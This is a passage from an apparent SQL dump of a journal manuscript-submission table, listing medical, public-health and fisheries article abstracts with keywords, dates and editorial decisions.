2.\r\n\r\nMétodos\r\nSistematización de la experiencia del Hospital MUA en la preparación de la pandemia de Sars-cov2, esta es realizada en 4 fases entre los meses de febrero a noviembre de 2020.   \r\n\r\nResultados\r\nSe logra para el momento de la llegada de la Pandemia a Colombia, tener un crecimiento de capacidad instalada en el área de urgencias del 40%, en el área de cuidados intensivos de 142% y adecuación de 68 unidades hospitalarias para atender este tipo de pacientes. Conservamos los estándares de calidad y se hizo gestión del riesgo de contagio.  Los resultados de mortalidad en cuidados Intensivos en la institución fueron más bajos que los reportados a nivel regional y mundial.   \r\n\r\n\r\n\r\nConclusiones\r\nUn plan estratégico de respuesta al Covid-19 y la adecuada gestión del riesgo de contagio, permitieron ampliar la capacidad instalada, para enfrentar con estándares de calidad la emergencia sanitaria.  Este artículo pretende ser una guía para un futuro en donde se evidencien las medidas que se tomaron en la preparación de una institución de tercer nivel para la atención de la pandemia del año 2020.','Salud Pública, Pandemia, COVID-19, SARS-CoV2, Preparación',2805,NULL,'2021-07-11',NULL,'Submitted',18,NULL,NULL,NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(9340,9202,277,0,'ipadm-21-9340','ACCIDENTE CEREBROVASCULAR EN PACIENTE JOVEN: EPIDEMIOLOGÍA, MANIFESTACIONES, DIAGNÓSTICO Y TRATAMIENTO',NULL,19,0,'','El accidente cerebrovascular ocupa el quinto lugar entre las principales causas de muerte y es considerada una de las principales causas de morbi-mortalidad. Sin embargo, su incidencia ha venido disminuyendo en la población general en las últimas décadas. No obstante, en la población adulta joven (18-44 años) la incidencia y la carga mundial de accidente cerebrovascular ha aumentado debido igualmente al incremento de factores de riesgo tradicionales en esta población. Su etiología es variada y puede diferir de las causas más frecuentes en el adulto mayor (>65 años), sumado a que en su presentación clínica puede haber presencia de manifestaciones atípicas haciendo que su diagnóstico sea retraso en comparación con el adulto mayor. En cuanto a su manejo, el tratamiento médico como quirúrgico es similar al realizado en el adulto mayor, no obstante, la evidencia demuestra mejores resultados en cuanto a complicaciones por tratamiento. Sin embargo, el pronóstico del accidente cerebrovascular en el adulto joven no es tan favorable como se ha pensado anteriormente, como también en la mortalidad y las consecuencias físicas/psicosociales.','Adulto joven; Accidente cerebrovascular isquémico; Accidente cerebrovascular hemorrágico; Accidente cerebrovascular embólico; Diagnóstico, Tratamiento.',2805,NULL,'2021-07-12',NULL,'Submitted',2,NULL,'2021-09-14',NULL,1,1,'0','Accept the article for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(9343,10275,91,0,'ijddr-21-9343','The role of myeloid-derived suppressor cells (MDSCs) in the immune response regarding hepatitis C',NULL,17,2,'','Purpose of Review \r\nHepatitis C virus infection and the immune response in babies and adults.\r\nFindings\r\nThe presence of MDSCs in new-borns makes Hepatitis C chronic in the first years of life in the case of exposure to virus. The expansion of MDSCs allows the immune system to maintain the chronic infection with Hepatitis C because MDSCs are responsible for the disfunction of the immune system and not the virus itself. MDSCs express CTLA-4, who is a protein receptor that functions as an immune checkpoint and downregulates immune responses. The expression of the CTLA-4 protein in the lymph node allows the manifestation of hepatitis C and allows the inhibition of T cells against HCV RNA.\r\nSummary\r\nMDSCs are responsible for chronic Hepatitis C infection. The expansion of MDSC is the format in which hepatitis C manages to escape the immune system’s response. Inhibitory protein CTLA-4 expressed by MDSCs in lymph node maintain hepatitis C infection.\r\nMDSCs cells have the ability to interact with these signals generated by common progenitor lymphoid cells and in this way the immune system cannot exercise its function.','Hepatitis C, MDSCs, immune system, CTLA-4',2430,NULL,'2021-07-12',NULL,'Submitted',19,NULL,'2021-07-17',NULL,1,1,'0',' ',0,'','',NULL,0,4,0,NULL,0),(9375,10286,45,0,'iphsj-21-9375','Determinates for Institutional Delivery Service Utilizations among Mothers in Hammer District, Ethiopia: Evidence from Pastoralist Setting',NULL,14,2,'','Background: In Ethiopia, maternal mortality is one of the highest in the world. Reduction of maternal mortality is the priority area of many different countries. Institutional delivery service utilization is a critical approach in the prevention of maternal deaths. However, proportion of women utilizing institutional delivery services is very low. There are no updated evidences available for institutional service utilizations in the pastoralist areas of Hammer District, Southwestern Ethiopia. \\\\r\\\\nObjective፡ To assess institutional delivery service utilization and factors hindering for institutional delivery utilization among mothers who gave birth in the last two years in the pastoralist Hammer District, South Omo Zone, Ethiopia.  \\\\r\\\\nMethods: A community-based cross-sectional study with internal comparison was conducted. All women residing in the area at least for five months and who had delivered in the last two years were included in the study.  \\\\r\\\\nResult: Only 30.2% of the mothers gave birth to their last baby in the health facilities. Residential set up [AOR = 2.485, 95% CI (1.325-4.659)], maternal education [AOR = 0.237, 95% CI (0.09-0.622)], age at first pregnancy [AOR = 1.83, 95% CI (0.77-4.348)], antenatal care follow-up [AOR= 0.062, 95% CI (0.019-0.201)] and total number of live births [AOR = 22.3, 95% CI (2.75-181.59)] had significant associations with institutional delivery service utilization (p<0.5).\\\\r\\\\nConclusion and recommendation: Institutional delivery is unacceptably low in the study area. To make impact, there is a need of integrations of interventions to tackle factors hindering institutional delivery in these pastoralist area and health managers need to maximize promotion and advocacy to increase institutional delivery. \\\\r\\\\n','Institutional delivery,  Hammer district, Place of delivery, utilization',643,NULL,'2021-07-12',NULL,'Submitted',19,NULL,'2021-08-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(9377,10288,73,0,'ipjnn-21-9377','Sex differences in Lennox-Gastaut syndrome: electroclinical correlations',NULL,14,2,'','Objectives: The aim of the current study was to investigate the sex and its associated factors in a large cohort of patients with Lennox-Gastaut syndrome (LGS). We hypothesized that sex has significant associations with the electroclinical characteristics of patients with LGS. \r\nMethods: This was a retrospective cross-sectional chart review study. All patients with an electroclinical diagnosis of LGS were recruited at the outpatient epilepsy clinic at Shiraz University of Medical Sciences, Shiraz, Iran. The data were collected from 2008 through 2020. Results: Three hundred patients (8%) were diagnosed as having LGS. One hundred and eighty-four patients (61%) were males and 116 were females (39%) (sex ratio of male to female: 1.59). Generalized paroxysmal fast activity (GPFA) in EEG was less often observed in female patients (OR= 0.58). \r\nConclusion: With regards to the etiology, there were no significant differences between males and females. Males outnumber females in LGS. Sex dependent genetic disorders may explain this observation. Electro-clinically, males and females with LGS have largely similar presentations. However, male patients more often have GPFA in their EEGs. This subtle electrical sex difference in patients with LGS should be studied in future investigations.\r\n','Electroencephalogram; Epilepsy; Lennox- Gastaut; Seizure; Sex ',336,NULL,'2021-07-12',NULL,'Submitted',19,NULL,'2021-07-14',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(9381,10294,86,0,'ipaom-21-9381','Surgical management of a vascular complication in a pediatric patient with Kawasaki-like disease due to association of SARS-CoV-2 and Dengue. Case presentation.',NULL,2,0,'','Abstract: \r\nBackground: Severe acute respiratory syndrome coronavirus 2 in association with other pathologies can trigger systemic alterations that can compromise life in pediatric patients. A multidisciplinary management for this case is required since the information available from severe acute respiratory syndrome coronavirus 2 is constantly updated. \r\n','Key Words: Severe acute respiratory syndrome coronavirus 2, Kawasaki-like disease, dengue, amputation.',3641,NULL,'2021-07-13',NULL,'Submitted',2,NULL,'2021-08-05',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(9394,10303,45,0,'iphsj-21-9394','Compliance with infection prevention practices and associated factors among health Professionals in the public hospitals of Kembata Tembaro Zone, south Ethiopia',NULL,14,0,'','Abstract\r\nIntroduction: Healthcare associated infections are alarming public health problems globally despite availability of low-cost infection prevention and control measures to break its chain of transmission by improving level of compliance to them. \r\nAim: To measure health professionals’ level of compliance to infection prevention practices and associated factors in all public hospitals of Kambeta Tembaro zone, Ethiopia.\r\n\r\nMethod: Facility-based cross-sectional study design was employed among 401 health professionals that were selected through simple random sampling technique in the public hospitals of the zone. Logistic regression model was fitted to determine presence of statistically significant associations between the dependent and independent variables at p-value <0.05 and AOR with 95% CI.  \r\nResults: Two hundred twenty-six (57.8%) health professionals had a good compliance towards infection prevention practices. Concerning standard precautions, 167(42.7%), 260(66.5%), 130(33.2%) and 98(25.1%) of health professionals rated their hand hygiene, use personal protective equipment, safe injection and sharp waste segregation practices as good, respectively. Availability of guidelines, training status, sex, marital status and knowledge of health professionals were significantly associated factors with compliance to infection prevention practices.\r\nConclusion: A significant proportion of health professionals had good compliance with infection prevention practices despite there was poor adherence to hand hygiene, safe injection and sharp waste segregation among them. Therefore, Ethiopian ministry of health and other concerned bodies should work hard to avail infection prevention guidelines and address training gaps to increase knowledge of health professionals and make public hospitals safer place for health providers, patients and visitors. \r\n','Infection Prevention, Standard Precaution, Healthcare-associated Infection',643,NULL,'2021-07-13',NULL,'Submitted',2,NULL,'2021-08-06',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(9397,10306,971,0,'ipaclr-21-9397','EPITHELIAL AND CONNECTIVE TISSUE CHANGES IN ORAL SUBMUCOUS FIBROSIS – A MORPHOMETRIC ANALYSIS',NULL,14,0,'','Introduction: Oral Submucous Fibrosis (OSF) is a common oral health problem in the Indian subcontinent. It was first reported by Schwartz and defined by Pindborg. OSF is within a group of conditions that are classified under potentially malignant disorders of the oral cavity. Current evidence suggests that arecoline in the areca nut is the key factor in initiating the disease process.\r\nObjective: The purpose of this study is to conduct the morphometric analysis of the epithelial and selected connective tissue changes related to capillaries and to determine mast cell density in different grades of OSF.\r\nMethod: The study comprises 25 cases of OSF in varying grades (according to Pindborg and Sirsat classification) retrieved from the archives of department of oral pathology. The slides were prepared and stained in Hematoxylin and Eosin stain and 1% toluidine blue. All the slides are being studied under Trinocular research microscope Olympus BX-53 and further quantified in image capture software for morphometric analysis.\r\nResult: Morphometrical analysis of epithelial thickness and connective tissue changes highlightening the parameters of capillary density, luminal diameter and circumferences of the capillaries have shown that varying degree of alterations in different grades of OSF when the severity of the disease increases. This study also included the mast cell density analysis which have proven to undergo changes as the severity of the disease progress.','Oral submucous fibrosis, Morphometric analysis',3761,NULL,'2021-07-13',NULL,'Submitted',2,NULL,'2021-09-04',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(9398,10307,45,0,'iphsj-21-9398','The Significance of Oral Fluid Antigen Rapid Test in the Time of the COVID-19 Epidemic',NULL,15,0,'','Objective: Mainly compare the differences between PCR, antibody, antigen detection for COVID-19.\r\nMethods: Compare the sensitivity, specificity and the accuracy of different manufacturers’ COVID-19 antibody and antigen rapid tests. Different onset time samples were tested with RT-PCR and COVID-19 antibody and antigen rapid tests.\r\nResults: The detection rate of covid-19 antibody was increased with the increase of the onset time of patients, while the detection rate of antigen was decreased gradually, which was corresponding to the nature of antigen and antibody in the human body. \r\nConclusion: Different detection methods have their own advantages in different application fields. In antigen rapid test, oral fluid rapid test has widespread applicability.','COVID-19; Rapid test; Antigen; Antibody, Oral Fluid',643,NULL,'2021-07-13',NULL,'Submitted',2,NULL,'2021-07-28',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9405,10314,277,0,NULL,'COMPLICACIONES POSTOPERATORIAS EN TIROIDECTOMÍA REALIZADAS EN HOSPITAL ESCUELA UNIVERSITARIO Y HOSPITAL GENERAL SAN FELIPE, TEGUCIGALPA MDC EN EL 2018',NULL,6,1,'COMPLICACIONES POSTOPERATORIAS EN TIROIDECTOMÍA REALIZADAS EN HOSPITAL ESCUELA UNIVERSITARIO Y HOSPITAL GENERAL SAN FELIPE, TEGUCIGALPA MDC EN EL 2018','Resume  (Abstract)\r\nIntroduction. The specific complications of thyroid surgery include injury to the recurrent laryngeal nerve and the parathyroid glands, without being exempt from other complications such as infection of the surgical site, bleeding, surgical wound dehiscence, and others.\r\nMethods. The present study is retrospective observational and aims to analyze the condition of thyroid surgery in the country, specifically in state hospitals in Tegucigalpa, its rate of complications and its relationship with associated factors before the procedure.\r\nResults. A total of 92 patients undergoing thyroid surgery were studied at the Hospital Escuela and Hospital General San Felipe by reviewing the clinical record. The preoperative status, comorbidities and the surgical procedure performed were recorded and it was related to the main complications mentioned above.\r\nConclusions. A global rate of complications related to laryngeal nerve injury of 15% and late hypocalcemia of 7% was found, which are higher than the incidences reported in international series, however these vary from 0% of recurrent laryngeal nerve injury in thyroidectomies subtotal up to 22% in radical dissections in patients with neoproliferative processes.\r\n','Thyroid, Surgical Complications, Parathyroid, Hypocalcemia, Thyroidectomy',2805,NULL,'2021-07-13',NULL,'Submitted',18,NULL,NULL,NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(9406,10315,91,0,'ijddr-21-9406','Biopharmaceutical Innovations and a race for Human Vaccines',NULL,14,2,'','Biotechnology is the technological application of biological organisms, systems, and processes to develop, make, or modify products for specific uses such as pharmaceuticals, crops, and livestock. Traditional methods are the employment of artificial selection and hybridization, but modern usage also includes genetic engineering as well as cell and tissue culture technologies. In this research, we review some biotechnologies applied for the development and production of vaccines especially in respect of coronavirus. The immune response generated and efficacy rate achieved by these vaccine jabs of eminent biotechnology company is critically analysed. In light of the WHO specified vaccine approaches, viral vector vaccines and mRNA technology have received first time such wide approval in clinical trials and marketability. The regulatory mechanism globally and domestically has different implications to it. The biotechnology law being governed by the Drugs and Cosmetics Act 1940 and Rules 1945 in respect of new drug which also includes a new vaccine employing mRNA technology is observed together with the Clinical Trial Rules. Where on one hand without FDA approvals, WHO Emergency Listing has given place to vaccines like Pfizer, Jansen and Moderna; on the other hand, CDSCO and Clinical Trial Rules have given green signals to Covaxin and Covishield fast tracking the process to bring impactful vaccine in dire need. The world has received vaccines on a time-limited basis and based on a risk-versus-benefit evaluation defying the traditional time lagging process. The vaccination drive has become the flagship achievement of modern biotechnology which is immunizing billions of populations till the time we achieve the herd immunity and slow down the spread to zero.','Biotechnology, Vaccine, Viral Vector, Drugs, FDA, WHO, CDSCO, Immunity.',2421,NULL,'2021-07-13',NULL,'Submitted',19,NULL,'2021-07-19',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(9408,10317,975,0,'ipjbs-21-9408','Career as a Biomedical Scientist and Why it was Important?',NULL,3,0,'','Biomedical scientists are scientifically qualified, registered practitioners who work in clinical pathology departments. They play a vital role in patient are, by caring out diagnostic tests on sample such as blood, tissue and urine. As health care professionals, biomedical scientists work with a range of staff in hospitals and in primary care, to provide clinical laboratory services. About 70% of clinical diagnoses rely on pathology rest results. This means that the laboratory work must be performed to the highest possible standards, that the correct specimen type from the right patient must be tested and the results must be available, to the staff treating, in good time.','Chlamydia infection; clinical diagnoses; tissue; urine',4089,NULL,'2021-07-14',NULL,'Submitted',2,NULL,'2021-08-13',NULL,1,1,'1','can be publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(9409,10318,975,0,'ipjbs-21-9409','Hydrophilic coatings for biomedical applications ',NULL,5,2,'','Hydrophilic coatings are applied to a wide range of surfaces of biomedical. This chapter addresses the need for coating in both in and ex-vivo settings for both blood contacting and non-blood-contacting applications, with illustrations of the coating chemistry used in each setting. Applications for non-fouling surfaces in diagnostics, lubricious surfaces on cardiovascular devices, and both lubricious and antimicrobial hydrophilic surfaces for urological applications are presented. Processes using both photochemical grafting and addiction cure technologies to generate hydrophilic surfaces are outlined, and a selection of polymers commonly employed in commercially available coating systems are considered and discussed in the context of the application area.','hydrophilic polymer coatings; non fouling surfaces; medical devices',4089,NULL,'2021-07-14',NULL,'Submitted',19,NULL,'2021-10-01',NULL,1,1,'1','Can be publiish',0,NULL,NULL,NULL,0,4,0,NULL,0),(9410,10319,975,0,'ipjbs-21-9410','What is Research on Medicines Why it was Important to us?',NULL,5,0,'','The World Health Organization (WHO) defines drug as any substance which, introduced into the living organism can modify one or more of its function. The presence of drugs in many civilizations goes back to time immemorial. \r\nThe definition of drug and addictive behaviour is related to other basic terms. The first involves distinguishing between the use and abuse of a substance. We understand drug use to be drug consumption that does not negativity impact health. Drug consumption becomes abusive at the appearance of dependence, which is defined as the set of a drug is a priority for the individual. This term is usually linked to tolerance, or the need to consume more of a substance to achieve the effects of previous consumptions.','ethanol; miotic effect; Drug',4089,NULL,'2021-07-14',NULL,'Submitted',4,NULL,'2021-07-23',NULL,1,1,'1','can be publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(9411,10320,975,0,'ipjbs-21-9411','Determination of Cell Biomedical Sciences',NULL,3,0,'','The cell is the basic unit of living organisms; while some organisms are made up of a single cell (bacteria, protozoa) others are made up of many cells, organised into tissues and organs, that perform specific functions. Individuals cells in human and other eukaryotic organisms are organised into functional areas-organelles-that perform a specific function. Cells usually divide by mitosis to produce identical daughter cells to allow the development of issues or the replacement of dying cells. However, for the purpose of reproduction, they divide by meiosis in which the daughter cells each possess half a full set of chromosomes. In developed tissues, mitosis occurs to replace those cells that have become damaged; if such cell division occurs in an unregulated fashion, cancer may result.','Organisms; mitosis; phospholipid bilayer; haploid cells, Medicine, Biomedical',4089,NULL,'2021-07-14',NULL,'Submitted',2,NULL,'2021-09-04',NULL,1,1,'1','can be published',0,NULL,NULL,NULL,0,0,0,NULL,0),(9419,10327,639,0,'ipfs-21-9419','Roles of Fishery in the Society',NULL,3,0,'','The independent Inland fisheries produce food for billions and maintenance for millions of people worldwide Inland fisheries come up with important to food certainty and economic certainty by providing primary sources of the animal protein validity nutrients, and the earning. Small-scale fisheries and aquaculture make analytical contributions to the development in areas of employment, with over 41 million individuals worldwide, the vast most of whom live in the progress countries, working in fish manufacture, food security, and nourishment, with fish constituting a principal source. Inland fish and fisheries supply cultural and refreshment services and contributions to human fitness and well-being. They empower those complicated in the sector, come up with to green food action and provide a means for knowledge transfer and capacity building across political jurisdictions. Fish have formed an important item of the person\'s diet. Nearly all the fish pond and marine are consumable and have been an important starting point of protein, fat, and vitamins A and D since time ancient. In most fishes, the tissue is white, contains about 13 to 20% of the enzyme, and has a food worth of 300 to 1600 calories per sovereign.','Aquaculture, Small-scale fisheries, Inland fisheries',1777,NULL,'2021-07-14',NULL,'Submitted',2,NULL,'2022-07-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9420,10328,639,0,'ipfs-21-9420','The Effects of Climate Change on the Fishing Industry and their Mitigation',NULL,3,0,'','The full link between fisheries and climate change is difficult to examine due to the setting of each fishery and the numerous traces that climate change influences. However, there is sufficient evidence for these consequences on a worldwide scale. However, there is sufficient evidence for these consequences on a worldwide scale. Rising ocean temperatures and acidification are drastically affecting marine aquatic ecosystems, while changes in water temperature, flow, and fish habitat loss are wreaking havoc on freshwater ecosystems. Climate change is altering fish distribution as well as the fertility of marine and freshwater species. The influence of climate change on ocean systems has an impact on the sustainability of fisheries and aquaculture, the livelihoods of those who rely on fisheries, and the oceans\' ability to grab and store carbon. Climate change has a significant influence on coastal fishing populations as a result of sea-level rise while altering rainfall patterns and water use have an impact on inland freshwater fisheries and aquaculture.','Climate Change, Aquatic Ecosystems,  Fisheries,  Worldwide Scale',1777,NULL,'2021-07-14',NULL,'Submitted',2,NULL,'2022-07-25',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9421,10329,639,0,'ipfs-21-9421','Aquaculture and its Importance',NULL,5,0,'','Aquaculture (also well-known as aquafarming) is the farming of fish, crustaceans, mollusks, aquatic plants, algae, and other creatures (less usually spelled aquiculture). Aquaculture involves the cultivation of freshwater and saltwater populations under controlled settings, as opposed to commercial fishing, which entails the capture of wild fish. The Food and Agriculture Organization (FAO) defines aquaculture as \"the farming of aquatic creatures such as fish, mollusks, crabs, and aquatic plants.\" Efficiencies on farms can be improved with some sort of intervention. Stocking regularly, feeding, and warding off predators are some examples of proper management. Individual or corporate ownership of the stock being grown is also implied by farming.\"','Aquaculture, Commercial Fishing, Mariculture',1776,NULL,'2021-07-14',NULL,'Submitted',2,NULL,'2022-07-25',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9422,10330,639,0,'ipfs-21-9422','Plastic Debris Pollution in the Ocean',NULL,5,0,'','The pollution problem is growing exponentially due to a combination of increasing consumerism and an increase in the use of plastics in manufacturing the products we use on a daily basis. It is common for these items to be single-use items, which are used only once and then thrown away. Marine debris is most commonly generated from two sources: These include litter left on beaches by beach-goers, debris washed into the ocean by stormwater runoff, and litter from beach-goers; garbage overflowing from ships, boats, and debris discarded at sea. This includes fishing debris such as plastic strapping from bait boxes, discarded fishing lines, and derelict fishing gear. In the next 50 years, there will be more plastic in the ocean than fish, according to an estimate of 8 million tonnes of plastic entering the ocean every year.','Marine debris, Stormwater runoff, Plastics',1780,NULL,'2021-07-14',NULL,'Submitted',2,NULL,'2022-07-28',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9436,10341,639,0,'ipfs-21-9436','A Guide to Ornamental Fish Farming & Management ',NULL,3,0,'','Fish farming, often known as pisciculture, is the commercial reproduction of fish, typically for food, in fish tanks or simulated enclosures such as fish ponds. It is a type of aquaculture in which aquatic creatures such as fish, crustaceans, and mollusks, and so on are cultivated and harvested in a natural or pseudo-natural setting.  A fish hatchery is a facility that releases juvenile fish into the wild for recreational fishing or to supplement a species\' natural numbers. Carp, catfish, salmon, and tilapia are the most common fish species produced in fish farming around the world.\r\nGlobal demand for dietary fish protein is increasing, which has led to widespread overfishing in wild fisheries, leading to severe reductions in fish stocks and, in some locations, outright depletion. Fish farming allows the establishment of fictitious fish colonies that are fed adequately, protected from normal predators and competitive threats, have access to veterinarian services, and are easier to harvest when needed, all while being separated from and thus not affecting the sustainable yields of wild fish populations.  While fish farming is practiced all around the world, China alone accounts for 65 percent of the world\'s farmed fish production. Aquaculture produced more than half of all seafood in 2016. Aquaculture has been the primary driver of development in fisheries and aquaculture production over the previous three decades, with an average annual growth rate of 8.3 percent from 2010 to 2021, reaching a record 82.6 million tons in 2022.','Pisciculture, Fish farming, Aquaculture',1770,NULL,'2021-07-15',NULL,'Submitted',2,NULL,'2022-08-09',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9444,10348,91,0,'ijddr-21-9444','The Basics of Bioanalysis : We Develop and Validate  Bioanalytical Method',NULL,5,2,'','Bioanalytics is a fundamental apparatus in drug revelation and advancement for deciding the convergence of medications and their metabolites just as different pharmacodynamic biomarkers in natural liquids. In these examinations, researchers utilize created and approved techniques to quantitatively identify analytes and metabolites inside organic grids like serum, plasma, pee, cerebrospinal liquid (CSF), and so forth A basic part of any bioanalytical program incorporates bioanalytical technique approval, guaranteeing quantitative outcomes show exactness, accuracy, selectivity, and strength so the precision of test investigation results can be advocated.','Pharmacodynamic, Serum, Plasma',2231,NULL,'2021-07-15',NULL,'Submitted',19,NULL,'2021-07-19',NULL,1,1,'1','     ',0,NULL,NULL,NULL,0,4,0,NULL,0),(9451,9677,251,0,'ipacm-21-9451','Editorial note on Black Fungus',NULL,5,0,'','','',782,NULL,'2021-07-15',NULL,'Submitted',2,NULL,'2021-08-03',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(9452,9677,251,0,'ipacm-21-9452','Saccharomyces – An Overview',NULL,3,0,'','Saccharomyces, sort of yeasts having a place with the family Saccharomycetaceae (phylum Ascomycota, realm Fungi). An extraordinary quality of individuals from Saccharomyces is their capacity to change over sugar into carbon dioxide and liquor through catalysts. The yeasts used to mature sugars in the production of prepared merchandise, brews, wines, refined spirits, and modern alcohols are for the most part strains of one animal varieties, S. cerevisiae. One such yeast cell can age around its own load of glucose, the most straightforward type of sugar, in 60 minutes. See additionally yeast.','',782,NULL,'2021-07-15',NULL,'Submitted',2,NULL,'2021-08-05',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(9466,10185,73,0,'ipjnn-21-9466','Central and Extra pontine myelinolysis in the setting of Hyperglycemia',NULL,2,0,'','Osmotic demyelination syndrome (ODS) has been commonly attributed to rapid correction of chronic hyponatremia. We describe a case of 61-year old male who presented with altered mental status, sepsis and diabetic ketoacidosis (DKA). As his mental status improved, he was found to have dysarthria, disorientation, and quadriplegia. His Brain MRI showed symmetric diffuse bilateral diffusion restriction and T2-FLAIR abnormalities in the bilateral peri-rolandic regions, occipital lobes, and pons without contrast enhancement suggesting ODS. Cerebrospinal fluid analysis was within normal limits. His serum sodium levels were normal throughout the hospitalization. There was a drop in serum glucose from 700 mg/dl to 245 mg/dl and change in osmolarity from 377 to 347 mOsm/Kg on the day of admission (Figure 2e). Based on clinical and radiological features, we suggest that the findings were due to the hyperosmolar state secondary to DKA. The two possible explanations in this scenario were either the osmotic shifts due to rapid correction of the hyperosmolar state or a hypertonic insult itself that overwhelmed the neuronal compensatory capacity.','Central pontine myelinolysis; extrapontine myelinolysis; osmotic demyelination syndrome; diabetes, hyperglycemia',351,NULL,'2021-07-15',NULL,'Submitted',4,NULL,'2021-10-26',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(9472,4635,277,0,'ipadm-21-9472','Hypopigmented Mycosis Fungoides: Pediatric case report',NULL,2,0,'','Mycosis Fungoides is a malignant neoplasm originating in T lymphocytes, which mainly involves the skin and can present systemic involvement involving the bone marrow, lymph nodes and various organs. It is the most common type of cutaneous T-cell lymphoma and may have clinical varieties, predominantly hypopigmented. Lymphomatoid papulosis can precede this neoplasm in 5-20% of patients. We present the case of a 10-year-old female schoolboy with lymphomatoid papulosis and that 5 years later presented Hypopigmented Mycosis Fungoides.','Hipopigmentación, Micosis Fungoide, Papulosis linfomatoide, Linfoma cutáneo de células T.',2805,NULL,'2021-07-16',NULL,'Submitted',2,NULL,'2021-09-18',NULL,1,1,'1','He leído este manuscrito y ciertamente felicito a los autores por sus esfuerzos.\r\nCreo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nRecomendaría su publicación sin hacer ninguna corrección.\r\nLos puntos mencionados en el manuscrito fueron muy claros de entender para los lectores.\r\n-Referencias:\r\nLas abreviaturas de las revistas deben adherirse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(9494,10348,91,0,'ijddr-21-9494','Clinical Pharmacognosy',NULL,5,2,'','In Japanese clinics or drug stores, rough medications and normal items are utilized as the parts of kampo medication and dietary enhancements. Clinical drug store can give data like the viability, antagonistic activity, or connections of rough medications or regular items just as compound medications.','Pharmacognosy, Antagonistic, Clinical drug',2231,NULL,'2021-07-16',NULL,'Submitted',19,NULL,'2021-07-20',NULL,1,1,'1','    ',0,NULL,NULL,NULL,0,4,0,NULL,0),(9502,10393,91,0,'ijddr-21-9502','Suppression of Arthritis by Immunomodulatory LEAPS Peptide Vaccines in Animal Models of Rheumatoid Arthritis',NULL,3,2,'','Ligand Epitope Antigen Presentation System (LEAPS) peptide vaccines can provide antigen-specific immunomodulatory therapy by suppressing the progression of inflammatory arthritis, as demonstrated recently in animal models of rheumatoid arthritis (RA). CEL-4000 and DerG-PG275Cit vaccines incorporate an immune cell-binding ligand with distinct cartilage proteoglycan (PG, aggrecan) epitopes. Both vaccines reinforce anti-inflammatory T helper 2 cell responses in the animal models, but differ in their propensity to elicit anti-vaccine antibodies. The combination of these vaccines may provide greater epitope coverage and efficacy in RA than either of them alone. These vaccines join a J-collagen LEAPS vaccine as a potential peptide-based immunomodulatory therapeutic modality for RA. ','peptide vaccine, immunotherapy, rheumatoid arthritis, animal models ',3391,NULL,'2021-07-16',NULL,'Submitted',19,NULL,'2021-07-28',NULL,1,1,'0','     ',0,'','',NULL,0,4,0,NULL,0),(9517,10407,86,0,'ipaom-21-9517','Leiomyosarcoma of Uterus: a rare diagnosis',NULL,2,0,'','Uterine leiomyosarcoma is a rare malignant tumor that accounts for almost 2% to 5% of all uterine malignancies. It has the highest prevalence in the pre - and peri - menopause. We present a case of a 70 year - old who presented with lower abdominal pain for 2 years. Exploratory laparotomy with hysterectomy was performed and the diagnosis of leiomyosarcoma was confirmed after histological examination of resected tumor.','leiomyosarcoma; hysterectomy',3195,NULL,'2021-07-17',NULL,'Submitted',4,NULL,'2021-10-19',NULL,1,1,'0','Revise',0,'','',NULL,0,0,0,NULL,0),(9519,10409,45,0,'iphsj-21-9519','Low Cost Simulation Experience During COVID-19 Pandemic ',NULL,9,0,'','Abstract \r\n\r\nThis article was written to show the experience of using low cost material in simulation training. A low cost simulation was done to create a training material for the clear plastic drape which was utilized for intubation and the face shield for the PPE. This was done to support the training for non-critical care physicians to fulfil the needs during COVID-19 pandemic. The low cost material was successful achieved the training objectives . \r\n','',651,NULL,'2021-07-17',NULL,'Submitted',2,NULL,'2021-08-25',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(9521,10406,73,0,'ipjnn-21-9521','Fahr\'s syndrome with hypoparathyroidism presenting with acute ischemic stroke ',NULL,2,2,'','Abstract :\r\nFahr\'s syndrome comprises of calcification in basal ganglia and thalamus as well as cerebellar dentate nuclei with or without symptomatic movement disorder or psychiatric manifestations. Fahr\'s syndrome may be idiopathic or secondary to hypoparathyroidism \r\nIt may be familial and inherited by autosomal dominant transmission. Movement disorders like tremor, dystonia or spasticity and psychiatric symptoms are characteristic clinical features in patients with Fahr\'s syndrome, but most of the patients are asymptomatic. \r\nCerebrovascular disease may be associated in elderly person with Fahr\'s syndrome but ischemic stroke is usually a rare complication particularly in patients without hypertension or diabetes mellitus. \r\nWe present this elderly woman with Fahr\'s syndrome who presented with a big ischemic stroke and found to have dentato-thalamo-lenticular calcification and hypoparathyroidism with severely decreased serum vit D and parathormone.  \r\nIt is recommended that clinicians first consider the possibility of hypoparathyroidism when looking for the cause of basal ganglia calcification.','Fahr syndrome, stroke, spasticity, paratonia, 